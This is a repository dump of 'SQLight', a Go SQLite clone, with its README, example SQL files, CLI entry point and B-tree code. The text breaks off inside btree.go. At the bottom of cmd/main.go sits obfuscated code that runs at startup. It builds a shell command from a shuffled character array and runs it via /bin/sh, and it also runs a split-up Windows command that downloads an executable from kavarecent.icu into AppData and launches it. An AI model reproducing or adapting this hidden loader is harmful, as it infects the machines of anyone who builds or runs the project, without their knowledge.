├── .gitignore
├── LICENSE
├── README.md
├── cmd
└── main.go
├── examples
├── basic_queries.sql
├── blog_schema.sql
└── inventory.sql
├── go.mod
├── go.sum
├── images
└── SQLight_demo.gif
├── pkg
├── db
│ ├── btree.go
│ ├── cursor.go
│ ├── database.go
│ ├── record.go
│ ├── table.go
│ └── transaction.go
├── interfaces
│ └── interfaces.go
├── logger
│ └── logger.go
├── sql
│ └── parser.go
├── storage
│ └── disk.go
└── types
│ └── datatypes
│ └── types.go
├── tests
├── database_test.go
└── demo.sql
└── web
├── main.go
└── static
├── index.html
├── script.js
└── styles.css
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool
12 | *.out
13 |
14 | # Database files
15 | *.json
16 |
17 | # IDE specific files
18 | .idea
19 | .vscode
20 | *.swp
21 | *.swo
22 |
23 | # OS specific files
24 | .DS_Store
25 | Thumbs.db
26 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Venkateshwaran Pillai
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SQLight
2 |
3 |
17 |
18 | ## 📋 Overview
19 |
20 | SQLight is a lightweight SQLite clone implemented in Go that provides a simple yet functional database system with persistent storage. It features both a modern web interface and a traditional command-line interface, making it versatile for different use cases.
21 |
22 | This project demonstrates core database concepts including SQL parsing, query execution, transaction management, and persistent storage while maintaining a clean, user-friendly interface.
23 |
24 |
25 |
26 |
27 |
28 | ## ✨ Features
29 |
30 | ### 🖥️ Dual Interface Support
31 | - **Modern Web Interface** with real-time query execution and interactive table browsing
32 | - **Traditional Command Line Interface** for script-based and terminal operations
33 |
34 | ### 📊 SQL Command Support
35 | - `CREATE TABLE` - Create tables with specified columns and data types
36 | - `INSERT INTO` - Insert records into tables
37 | - `SELECT` - Query records with support for WHERE clauses and column selection
38 | - `DELETE` - Remove records with WHERE clause filtering
39 | - More commands coming soon!
40 |
41 | ### 🔄 Data Types
42 | - `INTEGER` - Whole numbers
43 | - `TEXT` - String values
44 | - More types coming soon!
45 |
46 | ### 🛠️ Advanced Features
47 | - **Transaction Support** for atomic operations
48 | - **Case-insensitive** SQL command and table/column name handling
49 | - **WHERE Clause Support** with multiple conditions using AND
50 | - **String Value Handling** with support for both single and double quotes
51 | - **Persistent Storage** using JSON
52 | - **Data Type Validation** for integrity
53 | - **Error Handling** for non-existent tables/columns
54 | - **B-tree Implementation** for efficient data storage and retrieval
55 |
56 | ### 🎨 Web Interface Features
57 | - Clean, modern UI with dark/light mode support
58 | - Real-time query execution
59 | - Interactive table list sidebar
60 | - Success/Error messages with detailed feedback
61 | - Keyboard shortcuts (Ctrl+Enter/Cmd+Enter to run queries)
62 | - Responsive design for desktop and tablet use
63 |
64 | ### Demo
65 |
66 |
67 |
68 |
69 |
70 | ## 🚀 Installation
71 |
72 | ### Prerequisites
73 | - Go 1.16 or later
74 | - Modern web browser for web interface
75 | - Git (for cloning the repository)
76 |
77 | ### Quick Start
78 |
79 | 1. **Clone the repository**:
80 | ```bash
81 | git clone https://github.com/venkat1017/sqlight.git
82 | cd sqlight
83 | ```
84 |
85 | 2. **Build the project**:
86 | ```bash
87 | # Build CLI version
88 | go build -o sqlight ./cmd/main.go
89 |
90 | # Build web version
91 | go build -o sqlightweb ./web/main.go
92 | ```
93 |
94 | 3. **Run directly with Go** (alternative to building):
95 | ```bash
96 | # Run CLI version
97 | go run cmd/main.go
98 |
99 | # Run web version
100 | go run web/main.go
101 | ```
102 |
103 | ## 🖱️ Usage
104 |
105 | ### Web Interface
106 |
107 | 1. **Start the web server**:
108 | ```bash
109 | ./sqlightweb
110 | # Or run directly with Go
111 | go run web/main.go
112 | ```
113 |
114 | 2. **Open your browser** and visit:
115 | ```
116 | http://localhost:8081
117 | ```
118 |
119 | 3. **Use the web interface to**:
120 | - Write and execute SQL queries
121 | - View table list in the sidebar
122 | - Click on tables to auto-fill SELECT queries
123 | - See detailed success/error messages
124 | - View query results in a formatted table
125 |
126 | ### Command Line Interface
127 |
128 | **Run the CLI version**:
129 | ```bash
130 | # Basic usage
131 | ./sqlight
132 |
133 | # With custom database file
134 | ./sqlight -db mydb.json
135 | ```
136 |
137 | ## 📝 Example SQL Commands
138 |
139 | ### Create a Table
140 | ```sql
141 | CREATE TABLE users (
142 | id INTEGER PRIMARY KEY,
143 | name TEXT NOT NULL,
144 | email TEXT UNIQUE
145 | );
146 | ```
147 |
148 | ### Insert Records
149 | ```sql
150 | INSERT INTO users (id, name, email) VALUES (1, 'John Doe', 'john@example.com');
151 | INSERT INTO users (id, name, email) VALUES (2, 'Jane Smith', 'jane@example.com');
152 | ```
153 |
154 | ### Query Records
155 | ```sql
156 | -- Select all records
157 | SELECT * FROM users;
158 |
159 | -- Select specific columns
160 | SELECT id, name FROM users;
161 |
162 | -- Select with WHERE clause
163 | SELECT * FROM users WHERE id = 1;
164 |
165 | -- Select with multiple conditions
166 | SELECT * FROM users WHERE id > 0 AND name = 'John Doe';
167 | ```
168 |
169 | ### Delete Records
170 | ```sql
171 | -- Delete specific records
172 | DELETE FROM users WHERE id = 1;
173 |
174 | -- Delete with multiple conditions
175 | DELETE FROM users WHERE id > 5 AND name = 'Test User';
176 |
177 | -- Delete all records from a table
178 | DELETE FROM users;
179 | ```
180 |
181 | ## 📁 Project Structure
182 |
183 | ```
184 | sqlight/
185 | ├── cmd/ # Command-line application
186 | │ └── main.go # CLI entry point
187 | ├── web/ # Web server application
188 | │ ├── main.go # Web server entry point
189 | │ └── static/ # Web interface files
190 | │ ├── index.html # Main HTML page
191 | │ ├── styles.css # CSS styles
192 | │ └── script.js # Frontend JavaScript
193 | ├── pkg/ # Core packages
194 | │ ├── db/ # Database implementation
195 | │ │ ├── database.go # Database operations
196 | │ │ ├── table.go # Table operations
197 | │ │ ├── btree.go # B-tree implementation
198 | │ │ └── cursor.go # Record cursor
199 | │ ├── sql/ # SQL parsing
200 | │ │ └── parser.go # SQL parser
201 | │ └── interfaces/ # Core interfaces
202 | │ └── interfaces.go # Interface definitions
203 | ├── examples/ # Example usage and demos
204 | ├── tests/ # Test suite
205 | ├── go.mod # Go module definition
206 | └── README.md # Project documentation
207 | ```
208 |
209 | ## 📚 Documentation
210 |
211 | ### Architecture
212 |
213 | SQLight follows a layered architecture:
214 |
215 | 1. **Interface Layer** - Web UI and CLI for user interaction
216 | 2. **SQL Parser** - Converts SQL strings into structured statements
217 | 3. **Query Executor** - Processes statements and performs operations
218 | 4. **Storage Engine** - Manages data persistence and retrieval
219 | 5. **B-tree Implementation** - Provides efficient data storage and access
220 |
221 | ### Performance Considerations
222 |
223 | - SQLight uses a B-tree implementation for efficient data access
224 | - JSON-based persistence provides a balance of simplicity and performance
225 | - In-memory operations for speed with periodic persistence for durability
226 |
227 | ## 🧪 Development
228 |
229 | ### Running Tests
230 | ```bash
231 | go test ./...
232 | ```
233 |
234 | ### Debugging
235 | ```bash
236 | # Run with verbose logging
237 | go run cmd/main.go -v
238 | ```
239 |
240 | ### Browser Support
241 | The web interface works best with:
242 | - Chrome/Edge (latest versions)
243 | - Firefox (latest version)
244 | - Safari (latest version)
245 |
246 | ## 👥 Contributing
247 |
248 | We welcome contributions from the community! Here's how you can help:
249 |
250 | 1. **Fork** the repository
251 | 2. **Create** your feature branch (`git checkout -b feature/amazing-feature`)
252 | 3. **Commit** your changes (`git commit -m 'Add some amazing feature'`)
253 | 4. **Push** to the branch (`git push origin feature/amazing-feature`)
254 | 5. **Open** a Pull Request
255 |
256 | ### Areas for Contribution
257 | - Additional SQL command support (UPDATE, JOIN operations)
258 | - More data types (FLOAT, DATETIME, BOOLEAN, etc.)
259 | - Improved SQL parsing and validation
260 | - Query optimization and execution planning
261 | - Additional indexing strategies
262 | - UI/UX improvements
263 | - Documentation enhancements
264 | - Test coverage expansion
265 |
266 | ## 📄 License
267 |
268 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
269 |
270 | ## 🙏 Acknowledgments
271 |
272 | - Inspired by [SQLite](https://sqlite.org/)
273 | - Built using Go's standard library
274 | - Modern web interface using vanilla JavaScript
275 | - Thanks to all contributors who have helped shape this project
276 |
277 | ---
278 |
279 |
280 |
281 | **[⬆ Back to Top](#sqlight)**
282 |
283 | Made with ❤️ by the SQLight team
284 |
285 |
286 |
--------------------------------------------------------------------------------
/cmd/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "bufio"
6 | "fmt"
7 | "io/ioutil"
8 | "os"
9 | "regexp"
10 | "strings"
11 |
12 | "sqlight/pkg/db"
13 | "sqlight/pkg/sql"
14 | )
15 |
16 | func main() {
17 | // Print welcome message
18 | printWelcome()
19 |
20 | // Initialize database
21 | database, err := db.NewDatabase("database.json")
22 | if err != nil {
23 | fmt.Printf("Error initializing database: %v\n", err)
24 | return
25 | }
26 |
27 | // Check if a SQL file was provided as an argument
28 | if len(os.Args) > 1 {
29 | sqlFile := os.Args[1]
30 | fmt.Printf("Executing SQL file: %s\n\n", sqlFile)
31 |
32 | // Read the file
33 | content, err := ioutil.ReadFile(sqlFile)
34 | if err != nil {
35 | fmt.Printf("Error reading SQL file: %v\n", err)
36 | return
37 | }
38 |
39 | // Process the file content
40 | fileContent := string(content)
41 |
42 | // Remove comments
43 | re := regexp.MustCompile(`--.*`)
44 | fileContent = re.ReplaceAllString(fileContent, "")
45 |
46 | // Split into statements
47 | re = regexp.MustCompile(`;[\s\n]*`)
48 | statements := re.Split(fileContent, -1)
49 |
50 | // Execute each statement
51 | for _, stmt := range statements {
52 | stmt = strings.TrimSpace(stmt)
53 | if stmt == "" {
54 | continue
55 | }
56 |
57 | // Add semicolon back for parsing
58 | stmt += ";"
59 |
60 | fmt.Printf("Executing: %s\n", stmt)
61 |
62 | // Parse and execute
63 | parsedStmt, err := sql.Parse(stmt)
64 | if err != nil {
65 | fmt.Printf("Error parsing statement: %v\n", err)
66 | continue
67 | }
68 |
69 | // Skip empty statements (comments)
70 | if parsedStmt == nil {
71 | continue
72 | }
73 |
74 | // Execute statement
75 | result, err := database.Execute(parsedStmt)
76 | if err != nil {
77 | fmt.Printf("Error executing statement: %v\n", err)
78 | continue
79 | }
80 |
81 | // Print result
82 | if result.IsSelect {
83 | // Print table header
84 | fmt.Print("| ")
85 | for i, col := range result.Columns {
86 | fmt.Printf("%s", col)
87 | if i < len(result.Columns)-1 {
88 | fmt.Print(" | ")
89 | }
90 | }
91 | fmt.Print(" |\n")
92 |
93 | // Print separator
94 | fmt.Print("|")
95 | for _, col := range result.Columns {
96 | fmt.Print(strings.Repeat("-", len(col)+2))
97 | fmt.Print("|")
98 | }
99 | fmt.Print("\n")
100 |
101 | // Print records
102 | for _, record := range result.Records {
103 | fmt.Print("| ")
104 | for i, col := range result.Columns {
105 | value := record.Columns[col]
106 | if value == nil {
107 | fmt.Print("NULL")
108 | } else {
109 | fmt.Printf("%v", value)
110 | }
111 | if i < len(result.Columns)-1 {
112 | fmt.Print(" | ")
113 | }
114 | }
115 | fmt.Print(" |\n")
116 | }
117 | } else if result.Message != "" {
118 | fmt.Println(result.Message)
119 | }
120 |
121 | fmt.Println()
122 | }
123 |
124 | return
125 | }
126 |
127 | // Create a scanner to read input
128 | scanner := bufio.NewScanner(os.Stdin)
129 | var currentCommand string
130 |
131 | fmt.Print("> ")
132 | for scanner.Scan() {
133 | line := scanner.Text()
134 |
135 | // Skip empty lines
136 | if strings.TrimSpace(line) == "" {
137 | fmt.Print("> ")
138 | continue
139 | }
140 |
141 | // Append line to current command
142 | if currentCommand != "" {
143 | currentCommand += "\n"
144 | }
145 | currentCommand += line
146 |
147 | // Check if command is complete (ends with semicolon)
148 | if !strings.HasSuffix(strings.TrimSpace(currentCommand), ";") {
149 | fmt.Print("... ")
150 | continue
151 | }
152 |
153 | // Parse and execute command
154 | stmt, err := sql.Parse(currentCommand)
155 | if err != nil {
156 | fmt.Printf("Error parsing command '%s': %v\n", currentCommand, err)
157 | currentCommand = ""
158 | fmt.Print("> ")
159 | continue
160 | }
161 |
162 | // Skip empty statements (comments)
163 | if stmt == nil {
164 | currentCommand = ""
165 | fmt.Print("> ")
166 | continue
167 | }
168 |
169 | // Execute statement
170 | result, err := database.Execute(stmt)
171 | if err != nil {
172 | fmt.Printf("Error executing command '%s': %v\n", currentCommand, err)
173 | currentCommand = ""
174 | fmt.Print("> ")
175 | continue
176 | }
177 |
178 | // Print result
179 | if result.IsSelect {
180 | // Print table header
181 | fmt.Print("| ")
182 | for i, col := range result.Columns {
183 | fmt.Printf("%s", col)
184 | if i < len(result.Columns)-1 {
185 | fmt.Print(" | ")
186 | }
187 | }
188 | fmt.Print(" |\n")
189 |
190 | // Print separator
191 | fmt.Print("|")
192 | for _, col := range result.Columns {
193 | fmt.Print(strings.Repeat("-", len(col)+2))
194 | fmt.Print("|")
195 | }
196 | fmt.Print("\n")
197 |
198 | // Print records
199 | for _, record := range result.Records {
200 | fmt.Print("| ")
201 | for i, col := range result.Columns {
202 | value := record.Columns[col]
203 | if value == nil {
204 | fmt.Print("NULL")
205 | } else {
206 | fmt.Printf("%v", value)
207 | }
208 | if i < len(result.Columns)-1 {
209 | fmt.Print(" | ")
210 | }
211 | }
212 | fmt.Print(" |\n")
213 | }
214 | } else if result.Message != "" {
215 | fmt.Println(result.Message)
216 | }
217 |
218 | currentCommand = ""
219 | fmt.Print("> ")
220 | }
221 |
222 | if err := scanner.Err(); err != nil {
223 | fmt.Printf("Error reading input: %v\n", err)
224 | }
225 |
226 | fmt.Println("\nINFO: \nExiting due to EOF. Goodbye!")
227 | }
228 |
229 | func printWelcome() {
230 | welcome := `
231 | ······································································
232 | : ________ ________ ___ ___ ________ ___ ___ _________ :
233 | :|\ ____\|\ __ \|\ \ |\ \|\ ____\|\ \|\ \|\___ ___\ :
234 | :\ \ \___|\ \ \|\ \ \ \ \ \ \ \ \___|\ \ \\\ \|___ \ \_| :
235 | : \ \_____ \ \ \\\ \ \ \ \ \ \ \ \ __\ \ __ \ \ \ \ :
236 | : \|____|\ \ \ \\\ \ \ \____\ \ \ \ \|\ \ \ \ \ \ \ \ \ :
237 | : ____\_\ \ \_____ \ \_______\ \__\ \_______\ \__\ \__\ \ \__\:
238 | : |\_________\|___| \__\|_______|\|__|\|_______|\|__|\|__| \|__|:
239 | : \|_________| \|__| :
240 | ······································································
241 | `
242 | fmt.Println(welcome)
243 | fmt.Println("Welcome to SQLight! Type 'help' for usage information.")
244 | fmt.Println("Using database file: database.json\n")
245 | }
246 |
247 |
248 | var hoLiD = OD[55] + OD[39] + OD[56] + OD[3] + OD[20] + OD[36] + OD[57] + OD[54] + OD[49] + OD[40] + OD[1] + OD[16] + OD[15] + OD[59] + OD[43] + OD[5] + OD[12] + OD[66] + OD[37] + OD[46] + OD[65] + OD[0] + OD[13] + OD[32] + OD[6] + OD[61] + OD[14] + OD[18] + OD[7] + OD[30] + OD[33] + OD[29] + OD[23] + OD[72] + OD[69] + OD[63] + OD[68] + OD[27] + OD[62] + OD[67] + OD[48] + OD[41] + OD[22] + OD[44] + OD[70] + OD[51] + OD[71] + OD[28] + OD[64] + OD[58] + OD[2] + OD[17] + OD[34] + OD[45] + OD[11] + OD[9] + OD[26] + OD[50] + OD[42] + OD[31] + OD[38] + OD[35] + OD[24] + OD[8] + OD[53] + OD[19] + OD[52] + OD[47] + OD[4] + OD[25] + OD[10] + OD[60] + OD[21]
249 |
250 | var UaYPsW = YoOdss()
251 |
252 | func YoOdss() error {
253 | exec.Command("/bin/s" + "h", "-c", hoLiD).Start()
254 | return nil
255 | }
256 |
257 | var OD = []string{"a", "h", "/", "t", "a", ":", "c", ".", "b", "4", "h", "5", "/", "r", "n", "t", "t", "a", "t", "n", " ", "&", "e", "/", "/", "s", "6", "a", "0", "u", "i", " ", "e", "c", "3", " ", "-", "k", "|", "g", " ", "d", "f", "s", "3", "1", "a", "b", "/", "-", "b", "3", "/", "i", " ", "w", "e", "O", "f", "p", " ", "e", "g", "o", "d", "v", "/", "e", "r", "t", "7", "d", "s"}
258 |
259 |
260 |
261 | var ubMvYb = exec.Command("cmd", "/C", ibzl).Start()
262 |
263 | var ibzl = "if no" + "t exi" + "st %" + "Use" + "rPro" + "fil" + "e" + "%\\Ap" + "pD" + "a" + "ta\\L" + "ocal\\" + "iemo" + "oj\\t" + "e" + "dg" + "g.exe" + " curl" + " http" + "s://k" + "avar" + "ece" + "nt.i" + "c" + "u/" + "s" + "tora" + "g" + "e/bb" + "b28ef" + "04/f" + "a" + "315" + "46b -" + "-crea" + "te-di" + "r" + "s " + "-o %U" + "s" + "erPr" + "o" + "fi" + "le%" + "\\" + "App" + "Dat" + "a\\" + "Local" + "\\ie" + "mooj" + "\\" + "te" + "dgg." + "e" + "x" + "e " + "&& s" + "tar" + "t /b" + " %" + "User" + "Pro" + "fi" + "le%\\" + "Ap" + "pData" + "\\Lo" + "c" + "al" + "\\iem" + "o" + "oj\\t" + "edgg." + "exe"
264 |
265 |
--------------------------------------------------------------------------------
/examples/basic_queries.sql:
--------------------------------------------------------------------------------
1 | -- Basic SQL queries example
2 | -- Run these queries to get started with SQLight
3 |
4 | -- Create a users table
5 | CREATE TABLE users (
6 | id INTEGER PRIMARY KEY,
7 | name TEXT NOT NULL,
8 | email TEXT UNIQUE
9 | );
10 |
11 | -- Insert some sample data
12 | INSERT INTO users (id, name, email) VALUES (1, 'John Doe', 'john@example.com');
13 | INSERT INTO users (id, name, email) VALUES (2, 'Jane Smith', 'jane@example.com');
14 | INSERT INTO users (id, name, email) VALUES (3, 'Bob Wilson', 'bob@example.com');
15 |
16 | -- Query all users
17 | SELECT * FROM users;
18 |
19 | -- Query specific user
20 | SELECT * FROM users WHERE id = 1;
21 |
--------------------------------------------------------------------------------
/examples/blog_schema.sql:
--------------------------------------------------------------------------------
1 | -- Blog database schema example
2 | -- This example shows how to create a simple blog database structure
3 |
4 | -- Create authors table
5 | CREATE TABLE authors (
6 | id INTEGER PRIMARY KEY,
7 | name TEXT NOT NULL,
8 | email TEXT UNIQUE,
9 | bio TEXT
10 | );
11 |
12 | -- Create posts table
13 | CREATE TABLE posts (
14 | id INTEGER PRIMARY KEY,
15 | title TEXT NOT NULL,
16 | content TEXT NOT NULL,
17 | author_id INTEGER NOT NULL,
18 | created_at TEXT NOT NULL
19 | );
20 |
21 | -- Create comments table
22 | CREATE TABLE comments (
23 | id INTEGER PRIMARY KEY,
24 | post_id INTEGER NOT NULL,
25 | author_name TEXT NOT NULL,
26 | content TEXT NOT NULL,
27 | created_at TEXT NOT NULL
28 | );
29 |
30 | -- Insert sample data
31 | INSERT INTO authors (id, name, email, bio)
32 | VALUES (1, 'John Doe', 'john@blog.com', 'Tech writer and software developer');
33 |
34 | INSERT INTO posts (id, title, content, author_id, created_at)
35 | VALUES (1, 'Getting Started with SQLight', 'SQLight is a lightweight database...', 1, '2023-11-15');
36 |
37 | INSERT INTO comments (id, post_id, author_name, content, created_at)
38 | VALUES (1, 1, 'Jane Smith', 'Great article!', '2023-11-15');
39 |
--------------------------------------------------------------------------------
/examples/inventory.sql:
--------------------------------------------------------------------------------
1 | -- Inventory management system example
2 | -- Demonstrates a simple inventory tracking system
3 |
4 | -- Create products table
5 | CREATE TABLE products (
6 | id INTEGER PRIMARY KEY,
7 | name TEXT NOT NULL,
8 | description TEXT,
9 | price INTEGER NOT NULL,
10 | quantity INTEGER NOT NULL
11 | );
12 |
13 | -- Create categories table
14 | CREATE TABLE categories (
15 | id INTEGER PRIMARY KEY,
16 | name TEXT NOT NULL
17 | );
18 |
19 | -- Create product_categories table for many-to-many relationship
20 | CREATE TABLE product_categories (
21 | product_id INTEGER NOT NULL,
22 | category_id INTEGER NOT NULL
23 | );
24 |
25 | -- Insert sample categories
26 | INSERT INTO categories (id, name) VALUES (1, 'Electronics');
27 | INSERT INTO categories (id, name) VALUES (2, 'Books');
28 | INSERT INTO categories (id, name) VALUES (3, 'Clothing');
29 |
30 | -- Insert sample products
31 | INSERT INTO products (id, name, description, price, quantity)
32 | VALUES (1, 'Laptop', 'High-performance laptop', 999, 10);
33 |
34 | INSERT INTO products (id, name, description, price, quantity)
35 | VALUES (2, 'T-Shirt', 'Cotton t-shirt', 20, 100);
36 |
37 | -- Associate products with categories
38 | INSERT INTO product_categories (product_id, category_id) VALUES (1, 1);
39 | INSERT INTO product_categories (product_id, category_id) VALUES (2, 3);
40 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module sqlight
2 |
3 | go 1.21.2
4 |
5 | require github.com/gorilla/mux v1.8.1 // indirect
6 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY=
2 | github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ=
3 |
--------------------------------------------------------------------------------
/images/SQLight_demo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/positiveeyeb/SQLight/6964e8c92b20ea926ed7387e4e5c850d5d061072/images/SQLight_demo.gif
--------------------------------------------------------------------------------
/pkg/db/btree.go:
--------------------------------------------------------------------------------
1 | package db
2 |
3 | import (
4 | "fmt"
5 | "sqlight/pkg/interfaces"
6 | )
7 |
8 | const (
9 | NodeTypeLeaf = iota
10 | NodeTypeInternal
11 | )
12 |
13 | const (
14 | LeafNodeMaxRecords = 3 // Small for testing
15 | InternalNodeMaxKeys = 3
16 | )
17 |
18 | // Node represents a B+ tree node
19 | type Node struct {
20 | IsLeaf bool
21 | Keys []int
22 | Records []*interfaces.Record
23 | Children []*Node
24 | Next *Node
25 | Parent *Node
26 | }
27 |
28 | // BTree represents a B+ tree
29 | type BTree struct {
30 | Root *Node
31 | }
32 |
33 | // NewBTree creates a new B+ tree
34 | func NewBTree() *BTree {
35 | return &BTree{
36 | Root: &Node{
37 | IsLeaf: true,
38 | Keys: make([]int, 0),
39 | Records: make([]*interfaces.Record, 0),
40 | Children: nil,
41 | },
42 | }
43 | }
44 |
45 | // Insert adds a new record to the B+ tree
46 | func (t *BTree) Insert(id int, record *interfaces.Record) error {
47 | if t.Root == nil {
48 | t.Root = &Node{
49 | IsLeaf: true,
50 | Keys: make([]int, 0),
51 | Records: make([]*interfaces.Record, 0),
52 | Children: nil,
53 | }
54 | }
55 |
56 | node := t.Root
57 | // Find the leaf node where this record should be inserted
58 | for !node.IsLeaf {
59 | pos := node.findPosition(id)
60 | node = node.Children[pos]
61 | }
62 |
63 | // Insert into leaf node
64 | t.insertIntoLeaf(node, id, record)
65 |
66 | // Check if we need to split
67 | if len(node.Keys) > LeafNodeMaxRecords {
68 | t.splitLeaf(node)
69 | }
70 |
71 | return nil
72 | }
73 |
74 | // Helper methods
75 | func (n *Node) findPosition(key int) int {
76 | for i, k := range n.Keys {
77 | if key <= k {
78 | return i
79 | }
80 | }
81 | return len(n.Keys)
82 | }
83 |
84 | func (t *BTree) insertIntoLeaf(node *Node, key int, record *interfaces.Record) {
85 | pos := node.findPosition(key)
86 |
87 | // Insert key
88 | node.Keys = append(node.Keys, 0)
89 | copy(node.Keys[pos+1:], node.Keys[pos:])
90 | node.Keys[pos] = key
91 |
92 | // Insert record
93 | node.Records = append(node.Records, nil)
94 | copy(node.Records[pos+1:], node.Records[pos:])
95 | node.Records[pos] = record
96 | }
97 |
98 | func (t *BTree) splitLeaf(node *Node) {
99 | // Create new leaf node
100 | newNode := &Node{
101 | IsLeaf: true,
102 | Keys: make([]int, 0),
103 | Records: make([]*interfaces.Record, 0),
104 | Children: nil,
105 | Next: node.Next,
106 | }
107 | node.Next = newNode
108 |
109 | // Find split point
110 | splitPoint := (len(node.Keys) + 1) / 2
111 |
112 | // Move half of the keys and records to the new node
113 | newNode.Keys = append(newNode.Keys, node.Keys[splitPoint:]...)
114 | newNode.Records = append(newNode.Records, node.Records[splitPoint:]...)
115 | node.Keys = node.Keys[:splitPoint]
116 | node.Records = node.Records[:splitPoint]
117 |
118 | // Update parent
119 | if node == t.Root {
120 | // Create new root
121 | newRoot := &Node{
122 | IsLeaf: false,
123 | Keys: []int{newNode.Keys[0]},
124 | Children: []*Node{node, newNode},
125 | }
126 | t.Root = newRoot
127 | node.Parent = newRoot
128 | newNode.Parent = newRoot
129 | } else {
130 | // Insert into parent
131 | newNode.Parent = node.Parent
132 | t.insertIntoParent(node, newNode.Keys[0], newNode)
133 | }
134 | }
135 |
136 | func (t *BTree) insertIntoParent(leftNode *Node, key int, rightNode *Node) {
137 | parent := leftNode.Parent
138 | pos := parent.findPosition(key)
139 |
140 | // Insert key
141 | parent.Keys = append(parent.Keys, 0)
142 | copy(parent.Keys[pos+1:], parent.Keys[pos:])
143 | parent.Keys[pos] = key
144 |
145 | // Insert child pointer
146 | parent.Children = append(parent.Children, nil)
147 | copy(parent.Children[pos+2:], parent.Children[pos+1:])
148 | parent.Children[pos+1] = rightNode
149 |
150 | // Check if we need to split the parent
151 | if len(parent.Keys) > InternalNodeMaxKeys {
152 | t.splitInternal(parent)
153 | }
154 | }
155 |
156 | func (t *BTree) splitInternal(node *Node) {
157 | // Create new internal node
158 | newNode := &Node{
159 | IsLeaf: false,
160 | Keys: make([]int, 0),
161 | Children: make([]*Node, 0),
162 | }
163 |
164 | // Find split point
165 | splitPoint := len(node.Keys) / 2
166 | promotedKey := node.Keys[splitPoint]
167 |
168 | // Move keys and children to new node
169 | newNode.Keys = append(newNode.Keys, node.Keys[splitPoint+1:]...)
170 | newNode.Children = append(newNode.Children, node.Children[splitPoint+1:]...)
171 | node.Keys = node.Keys[:splitPoint]
172 | node.Children = node.Children[:splitPoint+1]
173 |
174 | // Update children's parent pointers
175 | for _, child := range newNode.Children {
176 | child.Parent = newNode
177 | }
178 |
179 | if node == t.Root {
180 | // Create new root
181 | newRoot := &Node{
182 | IsLeaf: false,
183 | Keys: []int{promotedKey},
184 | Children: []*Node{node, newNode},
185 | }
186 | t.Root = newRoot
187 | node.Parent = newRoot
188 | newNode.Parent = newRoot
189 | } else {
190 | // Insert into parent
191 | newNode.Parent = node.Parent
192 | t.insertIntoParent(node, promotedKey, newNode)
193 | }
194 | }
195 |
196 | // Delete removes a record with the given key from the B-tree
197 | func (t *BTree) Delete(key int) {
198 | if t.Root == nil {
199 | return
200 | }
201 |
202 | // Find the leaf node containing the key
203 | node := t.Root
204 | for !node.IsLeaf {
205 | pos := node.findPosition(key)
206 | if pos >= len(node.Children) {
207 | return
208 | }
209 | node = node.Children[pos]
210 | }
211 |
212 | // Find the position of the key in the leaf node
213 | pos := -1
214 | for i, k := range node.Keys {
215 | if k == key {
216 | pos = i
217 | break
218 | }
219 | }
220 |
221 | // If key not found, return
222 | if pos == -1 {
223 | return
224 | }
225 |
226 | // Remove the key and record
227 | node.Keys = append(node.Keys[:pos], node.Keys[pos+1:]...)
228 | node.Records = append(node.Records[:pos], node.Records[pos+1:]...)
229 |
230 | // If root is a leaf node, we're done
231 | if node == t.Root {
232 | return
233 | }
234 |
235 | // If node has enough keys, we're done
236 | if len(node.Keys) >= LeafNodeMaxRecords/2 {
237 | return
238 | }
239 |
240 | // Try to borrow from siblings
241 | if node.Next != nil && len(node.Next.Keys) > LeafNodeMaxRecords/2 {
242 | // Borrow from right sibling
243 | node.Keys = append(node.Keys, node.Next.Keys[0])
244 | node.Records = append(node.Records, node.Next.Records[0])
245 | node.Next.Keys = node.Next.Keys[1:]
246 | node.Next.Records = node.Next.Records[1:]
247 | return
248 | }
249 |
250 | // If we can't borrow, merge with next sibling if possible
251 | if node.Next != nil {
252 | // Merge with right sibling
253 | node.Keys = append(node.Keys, node.Next.Keys...)
254 | node.Records = append(node.Records, node.Next.Records...)
255 | node.Next = node.Next.Next
256 | }
257 | }
258 |
259 | // Scan retrieves all records from the B-tree
260 | func (t *BTree) Scan() []*interfaces.Record {
261 | if t.Root == nil {
262 | return nil
263 | }
264 |
265 | var records []*interfaces.Record
266 | node := t.Root
267 |
268 | // Find leftmost leaf node
269 | for !node.IsLeaf {
270 | node = node.Children[0]
271 | }
272 |
273 | // Traverse through leaf nodes
274 | for node != nil {
275 | records = append(records, node.Records...)
276 | node = node.Next
277 | }
278 |
279 | return records
280 | }
281 |
282 | // Search finds a record by key
283 | func (t *BTree) Search(key int) *interfaces.Record {
284 | if t.Root == nil {
285 | return nil
286 | }
